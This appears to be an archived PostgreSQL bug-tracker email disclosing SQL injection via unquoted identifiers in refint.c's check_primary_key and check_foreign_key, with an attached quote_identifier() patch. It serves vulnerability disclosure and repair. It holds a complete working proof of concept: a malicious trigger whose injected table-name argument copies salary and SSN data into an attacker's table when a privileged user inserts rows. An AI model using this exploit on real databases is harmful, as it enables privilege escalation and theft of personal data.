public inbox for [email protected]  
help / color / mirror / Atom feed
From: Amjad Shahzad <[email protected]>
To: [email protected]
To: [email protected]
Subject: Re: BUG #19510: refint.c: SQL injection via unquoted identifier arguments in check_primary_key and check_foreign_key
Date: Fri, 5 Jun 2026 04:50:52 +0500
Message-ID: <CADHzGZQ9qM-JrTN+mBRHapDYVKymPV=E39nV5aB_N+sSTR=35A@mail.gmail.com> (raw)
In-Reply-To: <[email protected]>
References: <[email protected]>

Hi,

Patch attached for the issue reported above.

Applies cleanly against master.
All 9 unquoted identifier sites are fixed across bothcheck_primary_key()
and check_foreign_key() usingquote_identifier().

Regards
Amjad

On Fri, Jun 5, 2026 at 4:34 AM PG Bug reporting form <[email protected]>
wrote:

> The following bug has been logged on the website:
>
> Bug reference:      19510
> Logged by:          Amjad Shahzad
> Email address:      [email protected]
> PostgreSQL version: 18.4
> Operating system:   Ubuntu 24.04 x86_64
> Description:
>
> Both check_primary_key() and check_foreign_key() build SQL queries by
> interpolating trigger arguments (table names and column names from
> trigger->tgargs) directly into generated queries without quoting:
>
>     appendStringInfo(&sql, "select 1 from %s where ", relname);
>     appendStringInfo(&sql, "%s = $%d ", args[i + nkeys], i);
>
> A user who owns a table that a higher-privileged session writes to can
> place
> injected SQL inside the table-name or column-name argument of the CREATE
> TRIGGER call. When the privileged user INSERTs into the table, the injected
> SQL runs in that user's security context, giving the attacker read/write
> access to tables they cannot directly access.
>
> Note: CVE-2026-6637 (commit 260e97733bf) fixed injection of data VALUES in
> the cascade-UPDATE path via quote_literal_cstr(). This report covers the
> separate, still-open issue of unquoted IDENTIFIER arguments (relname and
> column names from tgargs) not addressed by that fix. Verified on master
> commit 0392fb900eb.
>
> Affected versions: PG14, PG15, PG16, PG17, PG18, master.
>
> ================================================================
> PREREQUISITES
> ================================================================
> - Attacker owns a table (any table they created)
> - A higher-privileged user has INSERT on that table
> - contrib/spi module installed (CREATE EXTENSION spi)
>
> ================================================================
> STEPS TO REPRODUCE
> ================================================================
> -- STEP 1: Create roles
> CREATE ROLE app_user LOGIN PASSWORD 'pass';
> CREATE ROLE attacker  LOGIN PASSWORD 'pass';
>
> -- STEP 2: Create sensitive table, only app_user can read it
> CREATE TABLE salaries (
>     id       serial PRIMARY KEY,
>     emp_name text,
>     salary   numeric,
>     ssn      text
> );
> INSERT INTO salaries VALUES
>     (1, 'Alice', 120000, '123-45-6789'),
>     (2, 'Bob',    95000, '987-65-4321'),
>     (3, 'Carol', 150000, '456-78-9012');
> GRANT SELECT ON salaries TO app_user;
>
> -- STEP 3: Attacker creates their table and a log for stolen data
> SET ROLE attacker;
> CREATE TABLE orders (
>     id          serial PRIMARY KEY,
>     customer_id int,
>     amount      numeric
> );
> CREATE TABLE stolen_data (
>     info      text,
>     stolen_at timestamptz DEFAULT now()
> );
> GRANT INSERT ON orders TO app_user;
>
> -- STEP 4: Attacker creates malicious trigger using injected table name
> CREATE EXTENSION spi;
> CREATE TRIGGER evil_trigger
> AFTER INSERT ON orders
> FOR EACH ROW
> EXECUTE FUNCTION check_primary_key(
>     'customer_id',
>     'customers LIMIT 0; INSERT INTO stolen_data(info)
>      SELECT emp_name || '' | '' || salary::text || '' | '' || ssn
>      FROM salaries; --',
>     'id'
> );
> -- Result: CREATE TRIGGER  (no error)
>
> -- STEP 5: app_user does normal inserts (no idea anything is wrong)
> SET ROLE app_user;
> INSERT INTO orders (customer_id, amount) VALUES (1, 500.00);
> INSERT INTO orders (customer_id, amount) VALUES (2, 300.00);
> INSERT INTO orders (customer_id, amount) VALUES (3, 750.00);
> -- Result: INSERT 0 1  (three times, looks normal)
>
> -- STEP 6: Attacker reads stolen data
> SET ROLE attacker;
> SELECT * FROM stolen_data;
>
> -- Output:
> --           info               |        stolen_at
> -- ------------------------------+--------------------------
> --  Alice | 120000 | 123-45-6789 | 2026-05-21 16:10:50+05
> --  Bob   | 95000  | 987-65-4321 | 2026-05-21 16:10:50+05
> --  Carol | 150000 | 456-78-9012 | 2026-05-21 16:10:50+05
> -- (3 rows)
>
> -- STEP 7: Confirm attacker still has no direct access
> SELECT * FROM salaries;
> -- ERROR:  permission denied for table salaries
>
> ================================================================
> THE FIX
> ================================================================
> Wrap every relname and column-name interpolation with quote_identifier():
>
>     -- BEFORE
>     appendStringInfo(&sql, "select 1 from %s where ", relname);
>
>     -- AFTER
>     appendStringInfo(&sql, "select 1 from %s where ",
> quote_identifier(relname));
>
> 9 sites total across both functions.
>
>
>


Attachments:

  [application/x-patch] v1-fix-refint-identifier-injection.patch (2.7K, 3-v1-fix-refint-identifier-injection.patch)
  download | inline diff:
diff --git a/contrib/spi/refint.c b/contrib/spi/refint.c
index 48512a664d2..0e7f2c033c4 100644
--- a/contrib/spi/refint.c
+++ b/contrib/spi/refint.c
@@ -179,10 +179,10 @@ check_primary_key(PG_FUNCTION_ARGS)
 		 * Construct query: SELECT 1 FROM _referenced_relation_ WHERE Pkey1 =
 		 * $1 [AND Pkey2 = $2 [...]]
 		 */
-		appendStringInfo(&sql, "select 1 from %s where ", relname);
+		appendStringInfo(&sql, "select 1 from %s where ", quote_identifier(relname));
 		for (i = 1; i <= nkeys; i++)
 		{
-			appendStringInfo(&sql, "%s = $%d ", args[i + nkeys], i);
+			appendStringInfo(&sql, "%s = $%d ", quote_identifier(args[i + nkeys]), i);
 			if (i < nkeys)
 				appendStringInfoString(&sql, "and ");
 		}
@@ -452,7 +452,7 @@ check_foreign_key(PG_FUNCTION_ARGS)
 			 *---------
 			 */
 			if (action == 'r')
-				appendStringInfo(&sql, "select 1 from %s where ", relname);
+				appendStringInfo(&sql, "select 1 from %s where ", quote_identifier(relname));
 
 			/*---------
 			 * For 'C'ascade action we construct DELETE query
@@ -479,7 +479,7 @@ check_foreign_key(PG_FUNCTION_ARGS)
 					char	   *nv;
 					int			k;
 
-					appendStringInfo(&sql, "update %s set ", relname);
+					appendStringInfo(&sql, "update %s set ", quote_identifier(relname));
 					for (k = 1; k <= nkeys; k++)
 					{
 						fn = SPI_fnumber(tupdesc, args_temp[k - 1]);
@@ -487,7 +487,7 @@ check_foreign_key(PG_FUNCTION_ARGS)
 						nv = SPI_getvalue(newtuple, tupdesc, fn);
 
 						appendStringInfo(&sql, " %s = %s ",
-										 args2[k],
+										 quote_identifier(args2[k]),
 										 nv ? quote_literal_cstr(nv) : "NULL");
 						if (k < nkeys)
 							appendStringInfoString(&sql, ", ");
@@ -496,7 +496,7 @@ check_foreign_key(PG_FUNCTION_ARGS)
 				}
 				else
 					/* DELETE */
-					appendStringInfo(&sql, "delete from %s where ", relname);
+					appendStringInfo(&sql, "delete from %s where ", quote_identifier(relname));
 			}
 
 			/*
@@ -507,10 +507,10 @@ check_foreign_key(PG_FUNCTION_ARGS)
 			 */
 			else if (action == 's')
 			{
-				appendStringInfo(&sql, "update %s set ", relname);
+				appendStringInfo(&sql, "update %s set ", quote_identifier(relname));
 				for (i = 1; i <= nkeys; i++)
 				{
-					appendStringInfo(&sql, "%s = null", args2[i]);
+					appendStringInfo(&sql, "%s = null", quote_identifier(args2[i]));
 					if (i < nkeys)
 						appendStringInfoString(&sql, ", ");
 				}
@@ -520,7 +520,7 @@ check_foreign_key(PG_FUNCTION_ARGS)
 			/* Construct WHERE qual */
 			for (i = 1; i <= nkeys; i++)
 			{
-				appendStringInfo(&sql, "%s = $%d ", args2[i], i);
+				appendStringInfo(&sql, "%s = $%d ", quote_identifier(args2[i]), i);
 				if (i < nkeys)
 					appendStringInfoString(&sql, "and ");
 			}


view thread (3+ messages)  latest in thread

reply

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Reply to all the recipients using the --to and --cc options:
  reply via email

  To: [email protected]
  Cc: [email protected], [email protected]
  Subject: Re: BUG #19510: refint.c: SQL injection via unquoted identifier arguments in check_primary_key and check_foreign_key
  In-Reply-To: <CADHzGZQ9qM-JrTN+mBRHapDYVKymPV=E39nV5aB_N+sSTR=35A@mail.gmail.com>

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

This inbox is served by agora; see mirroring instructions
for how to clone and mirror all data and code used for this inbox